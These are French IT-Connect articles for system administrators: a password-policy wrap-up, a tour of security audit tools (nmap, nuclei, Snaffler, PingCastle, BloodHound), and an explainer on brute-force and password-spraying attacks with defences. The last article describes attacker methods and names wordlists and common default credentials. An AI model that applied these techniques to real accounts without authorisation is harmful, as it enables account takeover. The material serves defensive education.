Avec cette configuration, les mots de passe doivent à présent respecter strictement certaines directives concernant leur composition. Si vous souhaitez connaitre l'ensemble des paramètres utilisables avec "pam_pwquality.so", je vous oriente vers la documentation du module :

• die.net - pam_pwquality(8) - Linux man page

III. Conclusion

En configurant correctement la politique des mots de passe avec PAM et "pam_pwquality", vous pourrez renforcer la sécurité de votre système Linux en imposant des mots de passe robustes pour tous les utilisateurs. Ces configurations sont essentielles pour protéger les comptes utilisateurs contre les accès non autorisés.

Enfin, si vous souhaitez utiliser "pam_pwquality" avec une blacklist de mot de passe personnalisée, je vous oriente vers notre article sur ce sujet :

• IT-Connect - Créer une blacklist de mots de passe sous UNIX avec pam_pwquality

The post Comment configurer la politique de mots de passe sous Linux ? first appeared on IT-Connect.

I. Présentation

Dans cet article, je vous propose un ensemble d'outils et de ressources permettant d'évaluer et de tester la sécurité de votre système d'information. Mon objectif de fournir aux administrateurs système les principaux outils que je juge utiles et techniquement abordables pour réaliser cette tâche.

L'objectif de sécurisation de son système d'information peut paraitre abstrait ou lointain lorsque l'on ne se frotte pas quotidiennement à la cybersécurité, qui est devenue un métier à part entière de l'informatique au sens général. Néanmoins, chaque acteur du système d'information a son rôle à jouer au sujet de la cybersécurité, de manière plus ou moins forcée en fonction des budgets, tailles d'équipe ou autres contraintes spécifiques à chaque cas et entreprise.

L'idée de cet article est de vous fournir les premiers éléments de réponse et options à suivre pour vous lancer sur ce chemin, notamment si vous souhaitez ou devez ajouter une corde "cybersécurité" à votre arc sans pour autant devenir un expert à plein temps sur le sujet.

La connaissance de ces outils et ressources présentées dans cet article n'est, en soit, pas suffisante pour la réalisation d'un test d'intrusion ou d'une opération red team en bonne et due forme. En revanche, ceux-ci sont tout à fait maitrisables pour des administrateurs systèmes et réseau, et, utilisés de manière relativement standard, pourront déjà permettre de détecter et de corriger les vulnérabilités les plus visibles d'un système d'information.

Cette liste contient uniquement des outils gratuits ou utilisés dans leur version gratuite, pour plusieurs raisons, la principale étant la volonté de partager des solutions utiles et utilisables par tous.

II. Disclaimer

Quel que soit l'outil dont il est question, il est important d'être au fait qu'une simple exécution occasionnelle sans analyse précise ou capacité à interpréter les résultats ne sert à rien. Soyez bien clair sur plusieurs points :

• Avant d'utiliser n'importe lequel de ces outils, il faut être certains de comprendre ce pour quoi il est fait, ce qu'il est capable de détecter, voire d'exploiter, et quelles sont ses limites (faux positifs, périmètre d'action). S'il y a une quelconque incompréhension de votre part concernant la description de l'outil et son fonctionnement global, c'est qu'il n'est pas encore temps de l'utiliser en conditions réelles.
• Il est aussi important d'être capable d'interpréter les résultats de chacun de ces outils afin de comprendre ce qui est urgent, ce qui est incertain, ce qui est secondaire, etc. À ce titre, il faut être conscient de ses propres limites quant à leur utilisation et l'interprétation de leur résultat.
• L'utilisation de ces outils, pour certains offensifs, ne doit être effectuée uniquement sur des cibles pour lesquelles vous disposez d'une autorisation explicite. Pour rappel : Code pénal : Chapitre III : Des atteintes aux systèmes de traitement automatisé de données

L'utilisation de ces outils peut ainsi être un premier pas vers une phase de diagnostic ou de contrôle routinier de la sécurité du système d'information. Cependant, elle ne peut pas être un substitut à l'analyse d'un expert en cybersécurité, qu'il soit interne ou externe à l'entreprise. Par exemple, l'utilisation avec les options "standard" ou "par défaut" peut vous faire passer à côté d'une vulnérabilité qui ne serait détectable qu'à travers une analyse approfondie, ou l'utilisation d'options plus avancées.

Il est donc important d'être en phase avec ces différents points pour éviter d'avoir un faux sentiment de sécurité. Cet avertissement étant fait, nous pouvons passer à la suite !

III. Ma liste d'outils pour sécuriser son SI en tant qu'administrateur système

A. Scan réseau : nmap

nmap est la référence absolue des outils de scan réseau ! Il permet d'effectuer une reconnaissance et une cartographie du système d'information en découvrant les hôtes accessibles sur un réseau local ou distant ainsi que les services exposés. À ce titre, il permet également d'effectuer une analyse de cloisonnement pouvant exister entre deux réseaux en évaluant de manière pragmatique l'efficacité et l'exhaustivité d'une politique de filtrage.

L'utilisation de nmap peut donc permettre de voir si un hôte situé sur un réseau peut accéder aux services d'un autre hôte du réseau local ou sur un réseau distant. Voici, en exemple, une commande classique d'utilisation de nmap et les résultats d'un scan sur un hôte unique, visant à découvrir les services exposés et procéder à des premières actions d'énumération sur ceux-ci :

On retrouve notamment différentes colonnes indiquant, dans l'ordre : le protocole et port scanné, son status (open/closed/filtered), le service correspondant et une éventuelle bannière indiquant la technologie utilisée et sa version lorsque les scripts nmap ont réussi à les identifier avec précision.

En plus de ces fonctionnalités principales, nmap possèdent également de nombreux modules sous forme de scripts qui permettent de détecter les types de services exposés (est-ce un service web, un service SSH ou RDP ? etc...), mais également leur version. Ces scripts, écrits en LUA et utilisables tels quels, permettent également d'effectuer un scan de vulnérabilité élémentaire, par exemple, en relevant la présence d'une version obsolète, d'une authentification anonyme ou la présence d'une configuration particulière vulnérable.

De manière élémentaire, nmap peut aider à répondre aux questions suivantes :

• Pour un poste situé dans le réseau "utilisateur", combien de systèmes et services de mon système d'information lui sont accessibles ?
• La politique de filtrage et de cloisonnement que j'ai définie est-elle implémentée telle qu'attendu ?
• Si un attaquant prend le contrôle d'un poste de l'équipe RH, peut-il directement joindre mon serveur de sauvegarde ?
• Existe-t-il des services exposés sur le réseau "serveurs" qui ne sont pas à jour ?
• Y-a-t-il sur mon réseau des services SMB ou FTP accessibles en authentification anonyme ?

Enfin, celui-ci nécessite forcément des connaissances en systèmes et en réseau. C'est notamment le cas lorsqu'il s'agit de tester la bonne application d'une politique de filtrage réseau ou d'identifier les services exposés grâce à leur port (TCP/UDP). La sortie qu'il produit peut dans un premier temps paraitre non intuitive, mais le résultat est en fait assez claire, si l'on prend la peine de s'y familiariser.

• Lien vers l'outil : Site officle de nmap

Apprenez à utiliser Nmap avec notre cours complet :

• Cours Nmap

B. Scan web : nuclei

Nuclei fait partie de mes outils préférés lorsqu'il s'agit de faire des scans web automatisés et de dégrossir l'analyse d'un grand nombre de cibles, principalement parce que j'apprécie son fonctionnement modulaire et le développement communautaire de ses templates de test. Il s'agit d'un scanner utilisant des modules écrit en Yaml écrit par la communauté.

Il est très simple d'utilisation et plutôt efficace. Son objectif est de vous permettre de scanner un ou plusieurs sites en effectuant un grand nombre de tests qui sont clairement définis. Ces tests, sous forme de module donc, sont majoritairement orientés autour :

• de la détection de version et la présence de logiciels, plugins ou dépendances obsolètes.
• de la présence de défaut de configuration, tels que le Directory Listing, l'absence d'options de sécurité sur les cookies, l'absence d'en-tête de sécurité au niveau du service web, etc.
• la recherche de fichiers sensibles qui ne devraient pas être exposés, comme un fichier "docker-composer.yml" contenant un mot de passe, un fichier "phpinfo()", etc.
• la découverte de CVE reposant sur des éléments de détection simples.

Voici un exemple d'utilisation de nuclei, qui peut aussi bien prendre en entrée un site web qu'un fichier contenant plusieurs centaines de domaines :

# Scanner un site web
nuclei -u https://www.monsiteweb.fr
# Scan les URL/domaine inscrits dans un fichier
nuclei --list /tmp/url.txt

Nuclei va faire une analyse en utilisant ses modules (appelés templates). Nous pouvons spécifier ceux que nous souhaitons utiliser via les options, ou laisser nuclei les choisir automatiquement en fonction de ses découvertes. Si nuclei détecte les traces du CMS WordPress, il va automatiquement exécuter tous les modules portant le tag "wordpress".

Voici un exemple d'utilisation d'un module. Nous souhaitons effectuer une vérification très précise sur toutes nos applications web exposées, en recherchant l'exposition d'un "PhpMyAdmin" :

nuclei --list /tmp/url.txt -t http/exposed-panels/phpmyadmin-panel.yaml

C'est cette possibilité de pouvoir sélectionner précisément un test ou catégorie de test sur un site précis ou un grand ensemble de site qui le rend très pratique d'utilisation. Voici, par exemple, le cas d'utilisation de toute une catégorie de template permettant de rechercher les technologies à partir du contenu des pages web et des bannières. On spécifie ici une catégorie qui contient plus de 300 modules :

Au delà des simples découvertes de bannières ou de fichiers, certaines catégories de modules sont orientées sur la découverte de CVE, voici un exemple :

Vous pourrez en apprendre plus sur les templates de test nuclei simplement en parcourant leur configuration Yaml : Github - Nuclei-templates

Il faut cependant être conscient de la limite des scans automatisés : ceux-ci sont très surfaciques et permettent uniquement de relever des vulnérabilités basiques. Ne vous attendez pas, par exemple, à découvrir une injection SQL ou un problème de cloisonnement des droits entre profils utilisateurs grâce à nuclei. Vous serez en revanche certain d'avoir des résultats et des éléments à corriger si vous exécutez ce genre de scan pour la première fois sur un SI qui n'a jamais été à l'épreuve d'une cyberattaque/d'un audit.

Dans la réalité d'un test d'intrusion ou d'une opération red team, les scans automatisés sont utilisés pour dégrossir le travail, repérer les cibles les plus faibles et avoir une première idée du niveau de sécurité global. Ils sont rarement, voir jamais utilisés dans le cadre de cyberattaques réelles pour des problématiques évidentes de discrétion.

• Lien vers l'outil : Github - ProjectDiscovery/Nuclei

Apprenez à utiliser Nuclei avec notre tutoriel complet :

• Tutoriel - Nuclei - Rechercher des vulnérabilités dans une application web

C. Analyse des partages et permissions avec Snaffler

Snaffler est un exécutable Windows qui vise à automatiser la découverte des partages de fichiers des systèmes sur un domaine, puis la recherche d'informations sensibles dans ces partages. Ses règles par défaut, qui sont hautement personnalisables, sont orientées autour des fichiers techniques contenant des mots de passe, des configurations, des archives, crashdump, disques virtuels, etc. Tout type de fichier dans lequel un attaquant pourrait trouver des informations intéressantes.

C'est un outil très efficace qui ne manque jamais à remonter des informations intéressantes, tant la tâche de sécurisation et difficile à atteindre. Il permet notamment d'automatiser une tâche colossale : naviguer dans la totalité des partages de fichiers, dossiers et sous-dossiers d'un système d'informations. Exécuter régulièrement sur un système d'informations, en utilisant des comptes utilisateurs de privilèges différents, il permettra d'être un peu plus confiant sur l'absence d'informations sensibles dans les partages de fichiers, notamment ceux accessibles en lecture par tous les utilisateurs du domaine.

Voici un exemple de lancement de Snaffler et des premiers résultats qu'il peut afficher (Cliquez sur l'image pour zoomer) :

Dans cet exemple, on voit que Snaffler réalise dans un premier temps une énumération et recherche des partages de fichiers des systèmes de mon domaine, puis recherche des données sensibles à l'intérieur de ceux-ci. La dernière ligne (marquées en {Red}) est une trace typique de la découverte d'un mot de passe dans un script accessible dans le partage concerné.

• Lien vers l'outil : Github - SnaffCon/Snaffler

Apprenez à utiliser Snaffler avec notre tutoriel complet :

• IT-Connect - Analysez vos partages de fichiers Active Directory avec Snaffler pour protéger vos données

D. Diagnostique et conformité de l'Active Directory avec PingCastle

PingCastle est un exécutable Windows orienté autour des vérifications de conformité et de bonnes pratiques de configuration de l'Active Directory, élément plus que central dans la sécurisation d'un système d'information. Dans son utilisation la plus commune, il permet de faire une analyse globale de la sécurité de l'AD suite une collecte d'information automatisée. Cette analyse porte notamment sur les utilisateurs, groupes, système d'exploitation, GPO, les permissions et appartenance aux groupes, mais aussi des éléments plus techniques comme la conformité à l'état de l'art concernant des paramètres bien précis :

Lors de l'analyse de la sécurité d'un système d'information, il s'agit réellement d'un incontournable sur le sujet. Une des grandes forces de l'outil est également son rapport, au format web, qui contient une notation globale, une catégorisation des points de vérification et faiblesses découvertes, ainsi que des recommandations et références externes qui permettent de mieux comprendre l'impact des faiblesses découvertes et le sens des recommandations proposées.

Son utilisation est, elle aussi, très simple, depuis un poste intégré au domaine, voici comment l'exécuter :

.\Pingcastle.exe --healthcheck

Comme vous le voyez dans la sortie ci-dessous, celui-ci va réaliser une collecte et une analyse des données de l'Active Directory. il produira ensuite un rapport HTML :

Enfin, voici un exemple de résultat. Ce premier exemple vous montre la synthèse générale du niveau de risque du domaine déterminé par PingCastle à la suite de son analyse :

Ce second exemple vous expose le cas d'une vulnérabilité précise, avec notamment une description, un détail de l'impact, de la recommandation, des objets concernés :

N'hésitez pas ici à consulter les ressources qui sont référencées par PingCastle pour en apprendre plus sur ce qu'est, dans cet exemple, la vulnérabilité ASREPRoast (ou alors, consultez notre article sur le sujet : IT-Connect - Sécurité de l’Active Directory : comprendre et se protéger de l’attaque ASREPRoast).

Une bonne pratique consiste, par exemple, à réaliser une analyse tous les trimestres et de prendre en compte les recommandations proposées, en commençant bien sûr par les plus urgentes.

• Lien vers l'outil : SIte officiel - PingCastle

Pour aller plus loin dans la compréhension de ce très bon outil, je vous oriente vers nos articles sur le sujet, ainsi que vers Purple Knight qui est une alternative :

• IT-Connect - Comment auditer l’Active Directory avec PingCastle ?
• IT-Connect - Sécurité Active Directory : comment atteindre un score de 0/100 dans PingCastle ?
• IT-Connect - Comment auditer l'Active Directory avec Purple Knight ?
• Youtube - IT-Connect : Auditez votre Active Directory en 5 minutes avec PingCastle !

E. Recherche des chemins d'attaque dans l'Active Directory avec BloodHound

Bloodhound est une application web couplée à une base Neo4j qui permet de visualiser les relations qui existent entre les nombreux objets d'un domaine (utilisateurs, groupes, ordinateurs, etc.) et d'y rechercher des chemins d'attaque. Il permet notamment de répondre à une complexité inhérente aux annuaires Active Directory, qui est la succession de relations qui peuvent exister entre plusieurs objets, par l'intermédiaire d'appartenance à des groupes, de présence de session sur un poste, de privilèges et ACL spécifiques, etc. Grâce à BloodHound, ces relations parfois très indirectes, mais bien existantes peuvent être identifiées et visualisées simplement. Voici un exemple :

Ce type de relation, qui permet de comprendre que l'utilisateur "[email protected]" est finalement membre du groupe "ADMINS DU DOMAINE" de façon indirecte, n'est pas aisée à visualiser, encore moins à découvrir à l'aide des outils natifs Microsoft. Dans la réalité, cela représente un chemin potentiel pour un attaquant, qui, ayant compromis le compte utilisateur initial, fini par obtenir le plus haut niveau de privilège au sein du domaine : Administrateur du domaine.

BloodHound est un outil puissant, initialement créé par des attaquants/pentesters, mais qui est très utile entre les mains des administrateurs de l'Active Directory une fois maitrisé. Il permet de découvrir des chemins d'attaque parfois complexes et insoupçonnés, notamment grâce à une nouvelle façon de parcourir, visualiser et rechercher dans les données (la théorie des graphes).

Dans les grandes lignes, BloodHound va se baser sur les données de l'Active Directory, que l'on devra collecter pour lui via un agent appelé Collecteur. Il va ensuite stocker ces données dans une base de données neo4j, utilisant le langage de base de données Cypher pour y appliquer des recherches et des filtres, et un front-end en Sigma.js/Go nous permettra de les afficher et de les manipuler. Voici un exemple plus complet et réaliste (cliquez sur l'image pour zoomer) :

Cette vue vous montre de nombreux chemins d'attaque avec des nœuds de différents types (OU, Ordinateur, Utilisateur) et des relations différentes entre ces nœuds (possibilité d'ajouté un membre, de changer un attribut, de lire les attributs sensibles, de se connecter en RDP, d'être propriétaire d'un autre objet, etc.).

• Lien vers l'outil : Github - BloodHound

Pour maitriser cet outil de A à Z, je vous oriente vers notre cours gratuit dédié à BloodHound :

• Cours BloodHound

IV. Les ressources

L'idée à travers le partage de ces ressources est de vous fournir une liste de bases de connaissances utiles pour comprendre et interpréter les résultats fournis par les outils listés ci-dessus. Également, certaines d'entre elles pourront vous orienter vers les principaux tester à réaliser, ou vous fournir des éléments complémentaires de compréhension concernant les remédiations.

A. Active Directory Mindmap

Cette mindmap, que je vous conseille d'ouvrir localement avec le logiciel "Xmind", représente de manière très concrète la démarche globale et les différentes opérations classiques d'un attaquant. Elle a été conçue par des experts en cybersécurité et tests d'intrusion comme un pense-bête ou méthodologie pour la réalisation d'un test d'intrusion. Un test d'intrusion étant une prestation consistant à simuler une cyberattaque sur un système d'information d'entreprise, la démarche, les outils et les attaques menées sont très proches de la réalité.

Ainsi, suivre la lecture de cette mindmap vous donnera une idée de ce qui peut être tenté par les attaquants si vous n'êtes pas familier de la sécurité offensive, avec autant de points de sécurisation et de contrôle potentiels. Ce genre d'outil, fait pour les attaquants, présente l'avantage par rapport aux guides de bonnes pratiques de se baser uniquement sur actions réelles et concrètes.

Pour une personne non experte en cybersécurité, cette mindmap peut être difficile à appréhender et à comprendre dans son ensemble. Mais, l'étudier permettra cependant de retrouver, pour partie, certains des outils exposés dans cet article ou des types de faiblesses et d'attaques que les outils de globaux de scan comme PingCastle, nuclei ou nmap peuvent identifier.

L'exemple ci-dessus vous montre une partie des tests réalisés en boite noire, c'est-à-dire sans compte sur le domaine et en étant uniquement connecté au réseau interne de l'entreprise. On y retrouve bien sûr l'utilisation de l'outil nmap pour la réalisation d'une cartographie du réseau.

• Lien vers la ressource : Github - Orange Cyberdéfense AD Mindmap

B. Framework MITRE ATT&CK

Le framework ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) du MITRE est une base de connaissances des techniques d'attaque maintenue et mise à jour grâce aux observations et investigations des cyberattaques effectuées à travers le monde. Elle vise à fournir à tous un référentiel des opérations des attaquants afin de mieux les comprendre, les étudier, et s'en protéger.

Vous trouverez notamment dans cette base de données, un peu intimidante au début, de nombreuses informations sur ce qu'un attaquant est capable et susceptibles de réaliser comme attaque sur un système d'information :

Plusieurs des outils cités dans cet article utilisent notamment des références au MITRE ATT&CK et ses TTP (Tactics, Technics & Procedures, nom donné à chaque type d'attaque référencé) pour expliciter la menace que représente un défaut de configuration ou une autorisation trop permissive.

Voici un exemple de TTP, qui explicite l'attaque consiste à effectuer un brute force de mot de passe sur un compte utilisateur :

Chaque TTP contient notamment une description, des outils susceptibles d'être utilisé, des exemples de groupes de cyberattaques réels ayant utilisé cette technique par le passé et une liste de recommandation pour se protéger et détecter l'opération en question :

• Lien vers la ressource : framework MITRE ATT&CK

C. Points de contrôle Active Directory

Le référentiel de l'ANSSI sur les points de contrôle de l'Active Directory est également une très bonne ressource à connaitre pour évaluer la sécurité de son domaine.

En complément des outils d'analyse comme PingCastle et BloodHound, le contenu des recommandations proposées et leur priorisation permet d'avoir une base de travail pour analyse la sécurité de son Active Directory et expliciter certains points identifiés par les outils cités dans cet article :

Les différents points de contrôle y sont triés par priorité et accompagnés d'une recommandation pour vous orienter sur l'application des correctifs. Vous pourrez parfois faire un lien direct entre les points de contrôle PingCastle est ceux de l'ANSSI.

• Lien vers la ressource : ANSSI - Points de contrôle Active Directory

V. Conclusion

Nous avons fait le tour de ce que je considère être les principaux outils offensifs que les administrateurs système et réseau peuvent utiliser afin de prendre la température du niveau de sécurité de leur système d'information. Il en existe beaucoup d'autres, souvent plus complexes, mais maitriser ceux présentés ici vous fera certainement avancer dans le bon sens quant à la sécurité de votre système d'information et de votre domaine.

N'hésitez pas à utiliser les commentaires et le Discord pour partager votre avis !

The post Sécuriser son SI : Top 2024 des outils indispensables pour les sysadmins first appeared on IT-Connect.

I. Présentation

Dans cet article, nous allons nous intéresser aux attaques par brute force qui peuvent être menées sur les comptes utilisateurs d'un Active Directory, d’une application web ou de tout autre service réseau.

Nous verrons en quoi consistent ces attaques et quel est le but recherché par l'attaquant, nous parcourrons les différents types de brute force qui existent et peuvent être exploités lors d'une cyberattaque en fonction de l’objectif et du niveau de discrétion recherchés. Nous aborderons enfin les principales mesures à prendre pour s'en protéger.

II. Qu'est-ce qu'une attaque par brute force ?

Une attaque par brute force, appelée aussi "bruteforce attack" ou attaque par force brute, consiste pour un attaquant à tenter d’obtenir les identifiants d’un compte utilisateur en essayant une multitude de mots de passe sur un même login. Une telle attaque se caractérise surtout par le nombre d’essais que l’attaquant va réaliser afin de tenter de compromettre un compte. Le plus souvent, il va utiliser des dictionnaires de mots de passe (appelés “wordlist”), composés de plusieurs milliers ou millions de lignes, chacune étant un mot de passe potentiel.

Dans le cadre d'une cyberattaque, l'attaquant va utiliser le brute force afin de compromettre facilement des comptes utilisateurs qui possèdent un mot de passe faible. Cette opération peut être menée en tant que première étape d'une intrusion (par exemple, sur les services de l'entreprise exposés sur Internet) ou alors en visant des services internes à l'entreprise après une première compromission.

Un “identifiant” étant composé d’un login (nom d'utilisateur) et d’un mot de passe, le fait de connaître le login est déjà une information intéressante pour un attaquant, puisqu’il va déjà être en possession de 50% de l’information nécessaire à la compromission d’un compte.

Plus concrètement pour compromettre le compte ayant le login "admin", un attaquant va essayer le couple “admin : password”, puis “admin : admin”, puis “admin : superMDP123!”, etc. Pour qu’une attaque digne de ce nom soit menée, l’attaquant automatisera le processus grâce à des programmes conçus pour ce genre d’opérations et adaptés au contexte (application web, service SSH, SMB, etc.), lui permettant de réitérer son opération d'authentification rapidement et sans effort.

Imaginez avoir en énorme trousseau de clés en main et une serrure verrouillée en face de vous. Le fait de tester toutes les clés une à une est précisément la définition d'un brute force.

Certains outils permettent aujourd’hui de tenter des milliers de combinaisons par seconde depuis un simple ordinateur. Parmi ces outils, on peut notamment citer “hydra”, “netexec” ou “metasploit”.

Le brute force est une technique d’attaque connue et fréquemment utilisée. Elle est référencée dans le framework MITRE ATT&CK sous le TTP T1110 :

• MITRE ATT&CK : T1110 – Brute Force

Cette page vous permettra notamment de trouver de nombreux cas réels d’utilisation du brute force dans des attaques étatiques ou d’envergures :

Par exemple, les attaques par brute force font partie de la méthodologie du groupe APT29 (groupe d’espionnage affilié à la Russie et ciblant les pays de l’OTAN) d’après le framework MITRE ATT&CK :

• MITRE ATT&CK – APT 29

III. Les différents types d’attaques par brute force

A. Le brute force "classique"

La plupart du temps, une attaque par brute force va cibler plusieurs comptes utilisateur, cela afin de maximiser les chances de trouver un compte ayant un mot de passe faible. L’attaquant disposera alors d’une wordlist de login (vérifiés ou potentiels) et d’une wordlist de mots de passe. Il va donc tenter chaque combinaison “login : mot de passe” :

Dans les faits, les attaque par brute force peuvent cibler tout service ou application utilisant le login et le mot de passe comme facteurs d’authentification et étant insuffisamment protégé. Cela concerna donc aussi bien les applications web et leur page de login classique, les services SSH ou encore au sein d’un système d’information l’Active Directory, qui propose à lui seul de nombreux services permettant une authentification (Kerberos, SMB, RPC, LDAP, WinRM, RDP, etc.) et joue, entre autres, le rôle d'autorité d'authentification au sein d'un domaine.

Il faut ici se représenter le nombre de tentatives d’authentification que génère ce type d’attaque. Si je dispose d’une liste de 100 logins sur lesquels je souhaite tester 20 000 mots de passe. Cela signifie que mon attaque va générer 2 millions de tentatives d’authentification.

Pour être plus précis, ce type de brute force est décrit le framework MITRE ATT&CK en tant que "Bruteforce: password guessing", car l'on tente de deviner le mot de passe d'un utilisateur de façon agressive :

• T1110.00 - Bruteforce: Password Guessing

B. Le brute force ciblé

Il existe également des cas où l’attaquant va vouloir cibler un compte bien identifié, on parle alors d’attaque ciblée. Ce cas de figure s’observe notamment quand l’attaquant a identifié un compte particulièrement sensible ou hautement privilégié.

Également, ces attaques sont utilisées lorsque les services ou applications utilisent encore un compte d’administration par défaut. Par exemple, le compte “admin” d’une application web qui est le premier compte existant sur toutes les instances de celle-ci. On peut également mentionner le compte “administrateur/administrator” dans les environnements Windows (local ou au niveau du domaine).

Lors d’une attaque par brute force ciblée, l’attaquant ne va cibler qu’un seul (ou un nombre réduit) compte utilisateur, mais toujours utiliser un dictionnaire de mot de passe. Il mise alors sur le fait que ce compte précis possède un mot de passe faible, présent dans sa wordlist :

Ce type d’attaque génère naturellement moins de requêtes (cela dépend toujours du dictionnaire de mot de passe utilisé), mais n’en est pas moins efficace si le compte ciblé possède effectivement un mot de passe faible. Voici la démonstration d’une attaque par brute force ciblée sur un service SMB dans un environnement Windows Active Directory, le compte ciblé est toujours le même “IT-CONNCET.TECH\KATY_CRAFT”, mais le mot de passe change à chaque essai :

Comme vous le voyez dans cet exemple, l’outil utilisé va tenter plusieurs mots de passe et cibler le compte “IT-CONNECT.TECH\KATY_CRAFT”, jusqu’à trouver la bonne combinaison.

C. Le password spraying

Un troisième type d’attaque par brute force existe et est notamment utilisée dans le cadre des intrusions en environnement Active Directory : le password spraying.

Cette attaque consiste à tenter de s’authentifier sur de multiples comptes à l’aide d’un seul mot de passe (ou une liste très réduite de mots de passe). Le cas le plus parlant est celui où l’attaquant parvient à obtenir le fameux “premier mot de passe par défaut” qu’un administrateur peut assigner à chaque nouvel utilisateur et qu’il doit changer au plus vite, un mot de passe en général très complexe tel que “Bienvenue01.” ou “ChangezMoi!”.

En tombant sur de tels mots de passe, un attaquant peut se dire que d’autres comptes, nouvellement créés ou jamais utilisés, ont également ce mot de passe, il va donc tenter de s’authentifier sur chaque compte de l’Active Directory avec celui-ci.

Pour un attaquant, le password spraying possède un grand avantage : il évite le blocage de compte.

En effet, par défaut, certains mécanismes sont présents en environnement Active Directoy (et aussi sur certains services et applications web) et consistent à verrouiller temporairement un compte utilisateur ayant subi de trop nombreuses tentatives d’authentification infructueuses. Dès lors, les attaques de type brute force classique vont avoir pour effet de bloquer tous les comptes, ce qui bloquera l'attaque, mais perturbera les utilisateurs, et donc lèvera l’alerte.

Via le password spraying, aucun risque de blocage. Cette opération va donc utiliser un dictionnaire d’utilisateurs là où l’attaque par brute force classique va utiliser un dictionnaire de mots de passe.

Pour une description plus formelle, je vous oriente vers le TTP du MITRE dédié à ce type d’attaque :

• MITRE ATT&CK - T1110.003 - Bruteforce: Password Spraying

D. Autres techniques dérivées

Bien sûr, d’autres méthodologies plus subtiles existent dans ce contexte des attaques par brute force. Il existe, par exemple, des listes de login “communs” qui sont susceptibles d’être présents sur tous les gros Active Directory d’entreprise. Un ensemble de listes que j’utilise fréquemment et qui donne de bons résultats est situé sur ce dépôt Github :

• Github – InsideTrust/Statistically likely usernames

Si vous avez déjà travaillé sur de gros Active Directory, il y a fort à parier que des comptes avec des logins tels que ceux-ci existent dans votre Active Directory :

• svc-backup
• ldapsvc
• formateur
• accueil
• imprimante
• scan
• etc.

Dès lors, et sans connaissance d’aucun login valide, un attaquant peut utiliser ce genre de dictionnaire pour tenter des attaques en “user as pass”, c’est-à-dire ciblant des comptes qui ont un login “commun” ainsi qu’un mot de passe égal à leur login (exemple “scan:scan”).

Dans ces cas de figure, l’attaquant tente un mot de passe par login également, mais avec un mot de passe “différent” (car dépendant du login utilisé).

Cela peut paraître totalement absurde, mais c’est loin d’être rare et c’est généralement un moyen très rapide et simple d’obtenir un premier accès authentifié à un Active Directory. On peut également retrouver ce type d’opérations dans un contexte web visant des services et applications/frameworks connus. Il existe, par exemple, des listes de couples login/mot de passe connus pour l’accès à un Tomcat Manager qui serait un peu trop exposé, ou d'autres contenant des identifiants fréquemment utilisés pour les services SSH (“root:root”, “root:toor”, etc.)

IV. Où l’attaquant trouve-t-il des mots de passe ?

On peut naturellement se poser la question de la provenance des dictionnaires de mots de passe utilisés par les attaquants lors d’un brute force. Comment l’attaquant choisit les mots de passe qu’il va tenter ?

Nous avons vu qu'une attaque par brute force, l’attaquant se constitue donc une liste de logins à partir de différentes sources, puis il utilisera des dictionnaires de mots de passe déjà constitués. Ces dictionnaires de mots de passe sont la plupart du temps récupérés publiquement. Il existe des dépôts GitHub publics qui référencent de nombreuses wordlist, la plupart étant issues :

• D’un travail de référencement des mots de passe par défaut d’application web, d’équipements en tout genre (switch, routeur) ou de services (mssql, mysql, etc.).
• De fuites de données dont le contenu finit par être publié sur Internet (cas de l’entreprise Rockyou, dont la fuite de données à entrainé la création d'une wordlist contenant 14 344 391 mots de passe).

Voici, en exemple, l’un des dépôt GitHub les plus connus :

• GitHub – danielmiessler/SecLists/Passwords

D'autres sources de liste de mots de passe existent, dont certaines totalement illégales. On peut notamment mentionner les sites qui proposent l'achat du contenu des fuites de données récentes.

Pour des attaques plus précises, l’attaquant peut lui-même construire sa propre wordlist en fonction de son contexte d’attaque. Il utilisera alors une base de mots probables (nom de l’entreprise, nom et numéro de département) ainsi que des outils comme "hashcat" ou "johntheripper", qui permettent de construire des dérivés de mots de passe ("IT-Connect" deviendra "IT-C0nnect", "IT-Connect01!", "ItConnect2024!", etc.) à partir d’une liste initiale. Voici un exemple :

V. Comment se protéger d'une attaque par brute force ?

A. Politique de mot de passe

La première et principale mesure à prendre afin de se protéger des attaques par bruteforce est de renforcer la robustesse de tous les mots de passe. Il convient de mettre en place une politique de mot de passe robuste afin de limiter les chances de succès d’une attaque par brute force basée sur des mots de passe triviaux. Plus les mots de passe sont longs et aléatoires, moins un attaquant aura de chance de les découvrir via ce type d’attaque.

Je vous oriente vers le guide de l’ANSSI sur le sujet pour définir une politique de mot de passe efficace :

• ANSSI - Recommandations relatives à l'authentification multifacteur et aux mots de passe
• Active Directory : comment configurer une stratégie de mots de passe affinée ?
• Utiliser des passphrases à la place des mots de passe

En plus des éléments habituels que sont la longueur, la complexité et le nombre d’alphabets utilisés, la politique doit aussi s’assurer que, dans son mot de passe, l’utilisateur n’utilise pas de mots issus d’informations “publiques” (son nom, nom d’un proche, nom de l’entreprise, d’un projet, région, lieu de vacances de l’année dernière…). Pour cela, différentes techniques et outils existent en fonction des contextes. On peut notamment citer :

• Azure AD Password Protection : IT-Connect - Active Directory : configuration d’Azure AD Password Protection on-premise
• L’outil Specops Password Policy : IT-Connect - Active Directory : améliorez la gestion des mots de passe avec Specops Password Policy
• Il peut aussi être envisagé des contrôles d’entropie, notamment dans le cadre d’application web.

Attention, il ne faut pas oublier que la politique de mot de passe doit être appliquée à la création d’un compte, mais aussi lors des phases de changement de mot de passe.

B. Politique de verrouillage/quota

Nous avons vu que la politique de verrouillage a aussi son importance. Celle-ci permet de définir le seuil de verrouillage d’un compte, mais aussi la durée du verrouillage et la fenêtre de temps observation.

Grâce à ces paramètres, il est possible de grandement ralentir l’opération de l’attaquant, voire de le détecter si un pic de verrouillage de compte est observé. Attention toutefois aux effets de bords (blocage d’un grand nombre de comptes utilisateur). À nouveau, je vous invite à lire notre article sur le sujet :

• IT-Connect - Active Directory et le verrouillage des comptes

Ces politiques de verrouillage de compte peuvent parfois plutôt prendre la forme d’un quota ou d’un bannissement temporaire d’IP. C’est notamment le cas pour les applications web exposées sur Internet. Dans de tels cas, un attaquant pourrait très facilement exploiter la politique de verrouillage des comptes afin de bloquer temporairement ou définitivement (en fonction de sévérité de la politique) les comptes utilisateurs de la plateforme visée.

Il est, en effet, tout à fait envisageable pour un attaquant d’atteindre le seuil de verrouillage pour un compte qu’il sait existant sur l’application web visée afin de rendre indisponible l’application pour le ou les utilisateurs ciblés. Puis, de recommencer son opération de blocage dès que le verrouillage aura expiré, entraînant de fait un déni de service.

